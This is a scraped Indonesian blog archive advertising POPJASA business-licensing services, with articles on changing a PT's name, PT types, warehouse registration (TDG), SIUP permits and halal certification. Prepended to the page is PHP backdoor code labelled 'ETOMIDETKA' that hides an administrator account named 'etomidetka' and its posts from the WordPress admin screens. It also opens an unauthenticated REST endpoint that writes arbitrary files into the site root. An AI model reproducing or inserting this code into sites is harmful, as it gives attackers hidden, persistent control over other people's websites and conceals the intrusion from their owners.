//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } jasa izin usaha Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

September 28, 2021

Jasa Perubahan Nama PT (Kab Wonogiri)

Jasa Perubahan Nama PT (Kab Wonogiri)

Jasa Perubahan Nama PT (Kab Wonogiri) — Memiliki nama dalam badan usaha berupa PT atau Perseroan Terbatas merupakan suatu kewajiban.

Terlebih memiliki nama juga termasuk dalam syarat pendirian PT. Tetapi terkadang seiring dengan perjalanan bisnis yang umumnya bersifat dinamis, berbagai perubahan pun tidak di pungkiri akan sering terjadi.

Baik itu dari struktur organisasi, sistem perencanaan produksi bahkan perubahan nama badan usaha. Seperti yang saat ini akan kami bahas yakni perubahan nama PT (Perseroan Terbatas).

Perubahan nama PT sudah lumrah terjadi dan bukan suatu hal yang asing, karena kebanyakan pengusaha akan mengalami masa-masa di mana mereka merasa ingin untuk mengubah nama badan usaha mereka.

Namun melakukan perubahan nama PT tidak bisa di lakukan secara sembarangan. Sebab melakukan perubahan nama PT juga memerlukan Perubahan Anggaran Dasar (AD) yang sudah di tetapkan dalam Rapat Umum Pemegang Saham (RUPS).

Perubahan nama PT yang memerlukan perubahan AD ini bahkan sudah termaktub dalam Undang-undang Nomor 40 Tahun 2007 tentang Perseroan Terbatas.

Baca Juga : Pendirian PT Terpercaya di Solo

Selain itu, perubahan AD yang berisi tentang perubahan nama PT pun harus memperoleh persetujuan terlebih dahulu dari Menteri Hukum dan Hak Asasi Manusia.

Agar Anda bisa lebih paham dengan prosedur perubahan nama PT, kami akan menjelaskannya secara tuntas di artikel kali ini. Simak baik-baik ya!

Prosedur Perubahan Nama PT Berikut Ketentuannya

Berikut ini merupakan ringkasan dari prosedur perubahan nama PT berikut dengan ketentuannya agar Anda bisa lebih mudah memahami:

  • Perubahan AD harus melalui proses mekanisme dari Rapat Umum Pemegang Saham (RUPS)
  • Perubahan AD di buat dalam Akta Notaris berbahasa Indonesia
  • Permohonan persetujuan perubahan AD yang berisi perubahan nama PT, kemudian di ajukan ke Menteri Hukum dan Hak Asasi Manusia maksimal 30 hari terhitung sejak tanggal Akta Notaris yang memuat perubahan AD, lebih dari itu di tolak
  • Perubahan AD yang berisi perubahan nama PT di nyatakan mulai berlaku sejak tanggal di terbitkannya SK (Surat Keputusan) dari Menteri Hukum dan Hak Asasi Manusia terkait persetujuan perubahan AD

Baca Juga : 4 Keuntungan Mendirikan Usaha Badan PT

Jasa Perubahan Nama PT (Kab Wonogiri)

Jika Anda ingin mengurus perubahan nama PT, namun lagi-lagi terkendala karena Anda tidak tahu bagaimana mengurus perubahan nama PT yang baik dan benar seperti apa, maka Anda tidak perlu khawatir!

Anda bisa mempercayakan proses perubahan nama PT Anda pada POPJASA! Kenapa harus di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha yang TERBAIK dan TERPERCAYA!

POPJASA juga telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia.

Wah! Jadi sudah tidak perlu lagi ya Anda meragukan profesionalitas POPJASA, sebab POPJASA sudah terjamin 100% PROFESIONAL dan TERPERCAYA!

Jadi apalagi yang Anda tunggu? Segera urus perubahan nama PT Anda di POPJASA sekarang!

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

GRATIS KONSULTASI SEPUASNYA 

Macam-Macam PT Indonesia (Kota Surakarta)

Macam-Macam PT Indonesia (Kota Surakarta)

 

Macam-Macam PT Indonesia (Kota Surakarta) — Sebagai badan usaha berbentuk hukum, PT atau Perseroan Terbatas memang lebih banyak di pilih pengusaha.

Selain karena proses pendirian nya yang di kenal mudah, mendirikan PT juga di kenal memiliki lebih banyak keuntungan.

Umumnya, PT di bentuk oleh minimal 2 (dua) orang atau lebih melalui kesepakatan yang di ketahui oleh Notaris setempat.

Dalam proses pendirian PT, tentu membutuhkan modal yang mana modal tersebut berupa modal yang terkumpul dari berbagai saham milik masing-masing investor.

Namun terlepas dari itu semua, kira-kira sebagai pengusaha Anda sudah tahu atau belum kalau ternyata PT memiliki jenis-jenis tertentu?

Jika Anda belum tahu, simak baik-baik penjelasan kami di artikel yang satu ini ya mengenai jenis-jenis PT di Indonesia!

Jenis-jenis PT

Secara umum, PT terbagi menjadi 6 (enam) jenis. Nah! Berikut ini merupakan 6 (enam) jenis PT di Indonesia;

  • PT Terbuka

PT Terbuka atau Initial Public Offering (IPO) merupakan jenis PT yang di kenal sudah go public karena sistem operasional penyetoran modal yang bersifat terbuka untuk masyarakat.

Biasanya PT dengan jenis seperti ini akan menjual saham nya kepada masyarakat secara luas melalui pasar modal.

  • PT Tertutup

Kalau jenis PT yang satu ini berbanding terbalik dengan PT Terbuka.PT Tertutup merupakan jenis PT yang di sama sekali tidak melakukan aktivitas jual beli saham nya untuk masyarakat luas.

Biasanya PT dengan jenis seperti ini di dirikan dan memperoleh modal pendirian dari kalangan tertentu. Misalnya, keluarga, kerabat dan lain-lain.

  • PT Kosong

Jenis PT berikutnya adalah PT Kosong. PT ini umumnya telah memiliki izin usaha dan izin-izin operasional lainnya, namun belum memiliki kegiatan yang dapat dilakukan untuk kelangsungan perusahaan.

Wah! Kalau seperti ini sudah jelas tidak kami anjurkan untuk Anda pilih ya, pengusaha. Sebab bagaimana pun juga, PT harus dapat di operasionalkan bukan hanya sebatas berdiri tanpa menghasilkan apa-apa.

  • PT Domestik

Selanjutnya adalah PT Domestik. PT ini umumnya adalah PT yang sudah lama berdiri di suatu negeri dan secara otomatis akan mengikuti seluruh aturan yang berlaku di dalam negeri tersebut, tanpa terkecuali.

Baca Juga >> Pengertian PT Atau Perseroan Terbatas Kab. Kudus

  • PT Perseorangan

Jenis PT selanjutnya adalah PT Perseorangan. Secara garis besar, seluruh saham yang ada dalam jenis PT ini adalah murni milik 1 (satu) orang saja.

Orang tersebut nantinya juga akan berperan langsung sebagai direktur perusahaan dan pemegang kekuasaan tunggal dalam segala operasional PT, termasuk RUPS (Rapat Umum Pemegang Saham).

  • PT Asing

Jenis PT yang terakhir adalah PT Asing atau Penanaman Modal Asing (PMA). Umumnya PT ini berdiri di Indonesia dan mengikuti standarisasi operasional PT yang sesuai dengan negara Indonesia.

Meskipun PT ini berkaitan dengan pihak asing yang menanam modal di Indonesia, namun PT Asing tidak bisa menjalankan operasional PT nya sendiri.

Sehingga biasanya PT Asing akan turut di operasionalkan oleh penanam modal asing maupun penanam modal dalam negeri.

Nah! Sampai sini sudah cukup paham bukan dengan apa saja jenis-jenis PT yang ada di Indonesia?

Jasa Pendirian PT

Segera urus pendirian PT Anda di POPJASA! Mengapa harus mengurus pendirian PT di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Jadi apalagi yang Anda tunggu? Segera urus pembuatan PT Anda di POPJASA sekarang!

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Mengapa Mendirikan PT Lebih Menguntungkan? 

Filed under: Buat PT di Solo,jasa buat PT,jasa izin usaha,Jasa Pembuatan PT,Jasa Pendirian PT,Jasa Pengurusan PT,Jasa Perizinan Usaha Solo,Jasa Urus Legalitas Usaha Solo,Uncategorized,Urus SIUJPT — Tag: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , — jasaizinsolo @ 2:59 am

Mengapa Mendirikan PT Lebih Menguntungkan? 

Mengapa Mendirikan PT Lebih Menguntungkan? — Perseroan Terbatas (PT) adalah bentuk badan usaha yang tidak asing bagi pengusaha di Indonesia.

PT di jadikan sebagai badan usaha yang cukup di gemari. Bahkan mayoritas pengusaha di Indonesia saling berlomba untuk melebarkan sayap gagah bisnis mereka dengan mendirikan PT (Peroseroan Terbatas).

Sebagai badan usaha berbentuk hukum, PT memiliki beberapa keuntungan bagi pengusaha yang mendirikannya. Keuntungan mendirikan PT, antara lain:

Keuntungan Mendirikan PT Klaten

  • Bebas Melakukan Aktivitas Bisnis

Keuntungan utama mendirikan PT adalah bebas dalam melakukan aktivitas bisnis karena status PT yang merupakan badan hukum.

  • Ada Pemisahan Harta Pribadi & Harta Perusahaan

PT memiliki sistem pemisahan harta pribadi dan harta perusahaan. Sehingga pendiri PT umumnya tidak khawatir jika terjadi permasalahan dalam harta perusahaan mereka, sebab permasalahan tersebut tidak akan merambat dalam harta pribadi.

  • Dapat Bersekutu Dengan Pihak Asing

PT yang memiliki status sebagai badan hukum memang memiliki keunggulan yang jauh lebih baik daripada badan usaha lainnya. Karena hal ini pula, PT cenderung lebih mudah bersekutu dengan pihak asing.

  • Memiliki Dasar Hukum

PT memiliki dasar hukum yang tertera dalam Undang-undang Nomor 40 Tahun 2007 tentang Perseroan Terbatas. Karena dasar hukum ini lah, PT cenderung lebih unggul di banding badan usaha lainnya.

  • Proses Pendirian PT Lebih Cepat & Mudah

Proses pendirian PT lebih cepat dan mudah tidak membutuhkan waktu yang lama. Bagi Anda yang ingin mendirikan PT, maka Anda tidak perlu khawatir prosesnya akan memakan waktu lama.

Jika Anda mengalami kesulitan dalam mengurus pendirian PT atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian PT.

  • Selain melayani pendirian PT , POPJASA juga melayani Jasa Pengurusan Izin Usaha lainnya, antara lain:

    1. Biro Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha PT
    2. Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha CV
    3. Biro Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha UD
    4. Jasa Pengurusan, Pendirian, Pembuatan, YAYASAN, LSM, ORMAS, dsb
    5. Biro Jasa Perizinan Usaha Perubahan SIUP & NIB
    6. Jasa Perizinan Usaha Perubahan Pengurus UD, CV, PT
    7. Biro Jasa Pengurusan Pengurusan Pembuatan Perpanjangan SIUP dan TDP
    8. Pengurusan Jasa Izin Usaha Pariwisata: BPW, Jasa Boga dan Restoran
    9. Pembuatan Izin Usaha Jasa Kontruksi (IUJK)
    10. Pembuatan Jasa Izin Usaha Jasa Penyedia Transportasi (IUJPT)
    11. Pengurusan Surat Izin Perusahaan Angkutan (SIPA)
    12. Biro Jasa Pengurusan Izin Gudang/Tanda Daftar Gudang (TDG)
    13. Jasa Pengurusan Izin Usaha Industri: TDI, IUI Kecil, IUI Besar dan PP
    14. Biro Jasa Pengurusan Izin Usaha Industri Pangan: PIRT, MUI Halal, BPOM
    15. Pembuatan Izin Usaha Ekspor dan Impor: API, NIK
    16. Jasa Pengurusan Izin Pengajuan Pengusaha Kena Pajak (PKP)
    17. Pembuatan Izin Usaha Pendaftaran HaKI: Hak Paten, Hak Merk, Hak Cipta, Desain Industri

      Baca Juga : Tips Mudah Memilih Nama PT


    Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

September 21, 2021

Pengurusan Ijin Usaha TDG (Blora)

Pengurusan Ijin Usaha TDG (Blora)

Pengurusan Ijin Usaha TDG (Blora) — Perkembangan bukan hanya ada dalam sektor ilmu pengetahuan atau teknologi, namun juga bisnis dan industri.

Tidak heran begitu banyak pengusaha di Indonesia yang mulai mengembangkan bisnis mereka.

Bukan hanya dari segi branding, namun juga kualitas produk yang akan mereka jual kepada calon konsumen.

Karena banyaknya perkembangan bisnis dan kuantitas produk berbentuk barang pun semakin bertambah, maka tak heran jasa pergudangan mulai bermunculan.

Namun terlepas dari itu semua, mendirikan usaha di bidang jasa pergudangan juga memerlukan syarat-syarat tertentu yang harus di penuhi terlebih dahulu. Khususnya dalam hal perizinan usaha.

Lantas apakah Anda tahu perizinan usaha apa yang sekiranya cocok untuk jasa pergudangan Anda? Berikut akan kami jelaskan secara rinci di artikel kali ini. Simak baik-baik ya!

TDG (Tanda Daftar Gudang)

TDG atau Tanda Daftar Gudang adalah bukti pendaftaran gudang yang di berikan kepada pemilik gudang.

Pemilik gudang nantinya akan melakukan pendaftaran gudang berdasarkan golongan, luas dan kapasitas penyimpanan.

Setiap pemilik gudang di wajibkan untuk memiliki TDG. Apabila tidak memiliki, maka pemilik gudang akan terancam memperoleh sanksi.

Bahkan bukan tidak mungkin, jika nantinya gudang yang di miliki akan di tutup atau denda sesuai dengan ketentuan peraturan perundang-undangan.

Syarat Pembuatan TDG Di Blora

  • Surat Permohonan yang di tanda tangani di atas materai Rp. 6.000,-
  • Surat Pernyataan kesanggupan melaksanakan dan mematuhi ketentuan yang berlaku di lengkapi materai Rp. 6.000,-
  • Soft file KTP (Kartu Tanda Penduduk) Pemohon/KITAS/Passport (khusus untuk yang berdomisili di luar daerah tertentu)
  • Melampirkan IMB (Izin Mendirikan Bangunan) asli beserta gambar
  • Sertifikat/bukti penguasaan tanah dan/atau bangunan sebagai gudang
  • Melampirkan NIB (Nomor Induk Berusaha)
  • Fotokopi Izin Teknis yang di miliki (misalnya seperti SIUP, TDP, IUI, TDUP dan lain sebagainya) untuk Badan Usaha
  • Melampirkan pas foto digital terbaru berwarna pemilik/pengelola gudang berukuran 4×6
  • Melampirkan Surat Keabsahan dan Kebenaran atas dokumen di sertai materai Rp. 6.000,-
  • TDG (Tanda Daftar Gudang) lama bagi perusahaan/perorangan yang memperpanjang/merubah TDG
  • Melampirkan Surat Keterangan Kehilangan asli yang di keluarkan pihak yang berwenang/Kepolisian (jika SK) hilang/SK mengalami kerusakan/SK tidak dapat terbaca

Estimasi Pengerjaan Pembuatan TDG

Umumnya proses pengerjaan pembuatan TDG akan selesai dalam kurun waktu 14 hari kerja. Dengan catatan, semua persyaratan yang di butuhkan untuk pembuatan TDG telah terkumpul.

Nah! Sampai sini sudah cukup paham bukan dengan apa saja syarat yang harus Anda siapkan untuk pembuatan TDG?

Jika Anda mengalami kesulitan dalam mengurus pembuatan TDG atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pembuatan TDG .

Mengapa harus mengurus pembuatan TDG di POPJASA ?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga : Langkah Mudah Mengurus Perizinan Usaha Di PopJasa

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

Kontak POPJASA:

Syarat Pembuatan TDG (Klaten)

Syarat Pembuatan TDG (Klaten)

Syarat Pembuatan TDG (Klaten) — Perkembangan bukan hanya ada dalam sektor ilmu pengetahuan atau teknologi, namun juga bisnis dan industri.

Tidak heran begitu banyak pengusaha di Indonesia yang mulai mengembangkan bisnis mereka.

Bukan hanya dari segi branding, namun juga kualitas produk yang akan mereka jual kepada calon konsumen.

Karena banyaknya perkembangan bisnis dan kuantitas produk berbentuk barang pun semakin bertambah, maka tak heran jasa pergudangan mulai bermunculan.

Namun terlepas dari itu semua, mendirikan usaha di bidang jasa pergudangan juga memerlukan syarat-syarat tertentu yang harus di penuhi terlebih dahulu. Khususnya dalam hal perizinan usaha.

Lantas apakah Anda tahu perizinan usaha apa yang sekiranya cocok untuk jasa pergudangan Anda? Berikut akan kami jelaskan secara rinci di artikel kali ini. Simak baik-baik ya!

TDG (Tanda Daftar Gudang)

TDG atau Tanda Daftar Gudang adalah bukti pendaftaran gudang yang di berikan kepada pemilik gudang.

Pemilik gudang nantinya akan melakukan pendaftaran gudang berdasarkan golongan, luas dan kapasitas penyimpanan.

Setiap pemilik gudang di wajibkan untuk memiliki TDG. Apabila tidak memiliki, maka pemilik gudang akan terancam memperoleh sanksi.

Bahkan bukan tidak mungkin, jika nantinya gudang yang di miliki akan di tutup atau denda sesuai dengan ketentuan peraturan perundang-undangan.

Syarat Pembuatan TDG Di Klaten

  • Surat Permohonan yang di tanda tangani di atas materai Rp. 6.000,-
  • Surat Pernyataan kesanggupan melaksanakan dan mematuhi ketentuan yang berlaku di lengkapi materai Rp. 6.000,-
  • Soft file KTP (Kartu Tanda Penduduk) Pemohon/KITAS/Passport (khusus untuk yang berdomisili di luar daerah tertentu)
  • Melampirkan IMB (Izin Mendirikan Bangunan) asli beserta gambar
  • Sertifikat/bukti penguasaan tanah dan/atau bangunan sebagai gudang
  • Melampirkan NIB (Nomor Induk Berusaha)
  • Fotokopi Izin Teknis yang di miliki (misalnya seperti SIUP, TDP, IUI, TDUP dan lain sebagainya) untuk Badan Usaha
  • Melampirkan pas foto digital terbaru berwarna pemilik/pengelola gudang berukuran 4×6
  • Melampirkan Surat Keabsahan dan Kebenaran atas dokumen di sertai materai Rp. 6.000,-
  • TDG (Tanda Daftar Gudang) lama bagi perusahaan/perorangan yang memperpanjang/merubah TDG
  • Melampirkan Surat Keterangan Kehilangan asli yang di keluarkan pihak yang berwenang/Kepolisian (jika SK) hilang/SK mengalami kerusakan/SK tidak dapat terbaca

Estimasi Pengerjaan Pembuatan TDG

Umumnya proses pengerjaan pembuatan TDG akan selesai dalam kurun waktu 14 hari kerja. Dengan catatan, semua persyaratan yang di butuhkan untuk pembuatan TDG telah terkumpul.

Nah! Sampai sini sudah cukup paham bukan dengan apa saja syarat yang harus Anda siapkan untuk pembuatan TDG?

Jika Anda mengalami kesulitan dalam mengurus pembuatan TDG atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pembuatan TDG .

Mengapa harus mengurus pembuatan TDG di POPJASA ?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga : Langkah Mudah Mengurus Perizinan Usaha Di PopJasa

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

Kontak POPJASA:

Bagaimana Cara Memperoleh SIUP?

Bagaimana Cara Memperoleh SIUP?

Bagaimana Cara Memperoleh SIUP? — Surat Izin Usaha Perdagangan (SIUP) merupakan salah satu dokumen yang di perlukan untuk memenuhi legalitas usaha agar usaha yang Anda kelola dapat terlindungi dan dapat menjalankan kegiatan usaha dengan aman sesuai hukum yang berlaku.

SIUP adalah izin yang di keluarkan oleh pemerintah berwenang untuk dapat melaksanakan kegiatan usaha di bidang perdagangan, baik itu perdagangan barang dan/atau jasa.

Ketentuan umum SIUP telah di atur dalam Peraturan Menteri Perdagangan No. 36/M-DAG/PER/9/2007 tentang Penerbitan Surat Izin Usaha Perdagangan.

Peraturan tersebut yang telah di ubah sebanyak 3 kali dengan perubahan terakhir yaitu Peraturan Menteri Perdagangan No. 07/M-DAG/PER/2017.

Jenis-jenis SIUP

SIUP di peruntukkan bagi perusahaan yang menjalankan kegiatan usaha perdagangan, namun SIUP tidak hanya terdiri dari 1 (satu) jenis untuk semua perusahaan. SIUP di bedakan menjadi 4 (empat) jenis berdasarkan kekayaan bersih/jumlah modal yang di setor, yaitu:

  • Mikro, apabila kekayaan bersih tidak lebih dari Rp. 50 juta
  • Kecil, apabila kekayaan bersih adalah antara Rp. 50 juta – Rp. 500 juta
  • Menengah, apabila kekayaan bersih adalah antara Rp. 500 juta – Rp. 10 miliar
  • Besar, apabila kekayaan bersih lebih dari Rp. 10 miliar

Kriteria Perusahaan Yang Tidak Di Wajibkan Mengurus SIUP

Meski tergolong wajib di miliki oleh seluruh usaha di Indonesia, namun terdapat pengecualian untuk perusahaan yang tidak di wajibkan mengurus SIUP. Hal ini telah tercantum dalam Pasal 4 Ayat (1) Huruf C Peraturan Menteri Perdagangan No. 46/M-DAG/PER/9/2009.

Lantas apa saja kriteria perusahaan yang tidak di wajibkan untuk mengurus SIUP?

  1. Perusahaan yang melakukan kegiatan usaha di luar sector perdagangan
  2. Kantor Cabang atau Kantor Perwakilan
  3. Perusahaan perdagangan mikro dengan kriteria sebagai berikut:
  • Usaha perseorangan atau persekutuan
  • Kegiatan usaha di urus, di jalankan atau di kelola oleh pemiliknya atau anggota keluarga terdekat
  • Memiliki kekayaan bersih paling banyak Rp. 50 juta tidak termasuk tanah dan bangunan.

Namun bagaimana jika perusahaan perdagangan mikro ingin memiliki SIUP, maka dapat di berikan SIUP Mikro. Sehingga khusus untuk perdagangan mikro, SIUP merupakan dokumen opsional yang tidak bersifat wajib untuk di miliki.

Bagaimana Cara Memperoleh SIUP?

Untuk memberikan kemudahan bagi pengusaha, pemerintah telah menerbitkan Peraturan Pemerintah No. 24 Tahun 2018 tentang Pelayanan Perizinan Berusaha Terintegrasi Secara Elektronik (PP 24/2018).

PP 24/2018 ini berpengaruh terhadap pengajuan permohonan untuk memperoleh SIUP. Bahkan ini juga menjadi dasar hukum adanya Online Single Submission (OSS), di mana perusahaan dapat dengan mudah memperoleh SIUP dengan mengajukan permohonan secara online.

Saat ini dengan adanya sistem OSS, Anda dapat mengajukan permohonan untuk memperoleh SIUP bersamaan dengan pendaftaran untuk memperoleh Nomor Induk Berusaha (NIB).

Selain itu, yang cukup menguntungan dari SIUP adalah SIUP berlaku sepanjang perusahaan menjalankan kegiatan usahanya. Sehingga Anda tidak perlu repot untuk memperpanjang SIUP, karena SIUP akan tetap berlaku selama Anda menjalankan kegiatan usaha perdagangan.

Konsekuensi Tidak Memiliki SIUP

Berdasarkan Pasal 23 Ayat (1) Peraturan Menteri Perdagangan No. 46/M-DAG/PER/9/2009, perusahaan yang menjalankan kegiatan usaha namun tidak memiliki SIUP akan di kenakan sanksi sesuai dengan peraturan perundang-undangan.

Mengapa hal ini dapat terjadi? Sebab SIUP merupakan dokumen yang wajib di miliki oleh perusahaan, kecuali untuk perusahaan yang memang secara tegas di kecualikan untuk memiliki SIUP.

Apakah SIUP Dapat Digunakan Untuk Kegiatan Usaha Lainnya?

Berdasarkan Pasal 5 Peraturan Menteri Perdagangan No. 46/M-DAG/PER/9/2009, SIUP di larang di gunakan untuk melakukan kegiatan:

  1. Pertama Usaha perdagangan yang tidak sesuai dengan kelembagaan dan/atau kegiatan usaha yang tercantum di dalam SIUP
  2. Usaha yang mengaku kegiatan perdagangan, untuk menghimpun dana dari masyarakat dengan menawarkan janji keuntungan yang tidak wajar (money game), atau;
  3. Usaha perdagangan lainnya yang telah di atur melalui ketentuan peraturan perundang-undangan tersendiri
Manfaat SIUP

Selain karena SIUP memang di wajibkan untuk di peroleh berdasarkan Peraturan Menteri Perdagangan, SIUP juga memiliki manfaat tersendiri bagi pengusaha. Apa saja manfaat yang di maksud? Berikut ini penjabarannya:

  1. Suatu usaha yang telah memiliki SIUP akan mendapatkan perlindungan hukum dan sebagai bukti bahwa dalam menjalankan kegiatan usaha, usaha tersebut telah mendapatkan izin dari pemerintah
  2. SIUP akan mempermudah Anda ketika ingin membuka rekening bank atau mengajukan pinjaman
  3. Sebagai salah satu syarat yang di perlukan jika perusahaan Anda berpartisipasi dalam tender
  4. Membuat usaha yang Anda rintis memiliki kredibilitas sehingga dapat meningkatkan kepercayaan konsumen

Nah! Itulah beberapa hal terkait SIUP yang merupakan legalitas pelindung usaha Anda. Jangan tunda lagi mengurus SIUP, ya!

Jika Anda ingin mengurus SIUP, namun Anda bingung apa saja yang harus di persiapkan untuk mengurus SIUP, maka Anda tidak perlu khawatir karena Anda bisa mempercayakannya pada POPJASA!

POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien yang membutuhkan perizinan dan pendirian usaha di seluruh Indonesia!

 

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien. 

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

 

September 20, 2021

Jasa Pengurusan Sertifikasi MUI Halal Sukoharjo

Jasa Pengurusan Sertifikasi MUI Halal Yogyakarta

Jasa Pengurusan Sertifikasi MUI Halal Sukoharjo— Pengusaha dengan produk utama berupa makanan, minuman dan kosmetik terkadang membutuhkan sertifikasi tertentu. Khususnya sertifikasi MUI Halal.

Sertifikasi MUI Halal sendiri merupakan sertifikat yang menyatakan bahwa produk seperti makanan, minuman dan kosmetik atau produk lainnya tidak mengandung unsur yang di haram kan.

Sertifikasi ini juga mengedepankan produk makanan, minuman dan kosmetik atau produk lainnya yang memiliki kandungan sekaligus cara pengelolaan yang di lakukan dengan metode produksi sesuai dalam ajaran syariat agama Islam.

Pentingnya mengantongi sertifikasi ini membuat pemerintah Indonesia pun membuat peraturan khusus seputar MUI Halal seperti yang telah tercantum dalam Undang-undang No. 3 Tahun 2014 tentang Jaminan Produk Halal.

Namun sayangnya kebanyakan pengusaha seringkali menunda-nunda, bahkan enggan mengurus Sertifikasi MUI Halal dengan berbagai macam alasan.

Padahal Sertifikasi MUI Halal sangat penting untuk di miliki. Apalagi jika produk yang di pasarkan berupa makanan, minuman, kosmetik atau produk-produk lain seperti kimiawi dan biologi.

Tetapi jika setelah melihat artikel ini Anda mulai merasa perlu untuk mengurus Sertifikasi MUI Halal, namun kendala Anda adalah tidak tahu syarat apa yang harus Anda siapkan dalam mengurus pembuatan Sertifikasi MUI Halal, maka tenang saja! Anda tidak perlu khawatir, sebab kami akan menjelaskannya secara tuntas di sini. Simak baik-baik ya!

SYARAT PENGURUSAN SERTIFIKAT MUI HALAL

Umumnya Anda akan di minta untuk melengkapi beberapa persyaratan seperti sebagai berikut:

  • Melampirkan legalitas perusahaan baik berupa UD, CV atau PT
  • Melampirkan NPWP Perusahaan
  • NIB Perusahaan, di lampir kan
  • Daftar nama produk (khusus yang di jual)
  • Daftar semua nama bahan yang digunakan
  • Alur proses produksi (dari tahap awal sampai tahap akhir)
  • Daftar nama dan alamat cabang perusahaan
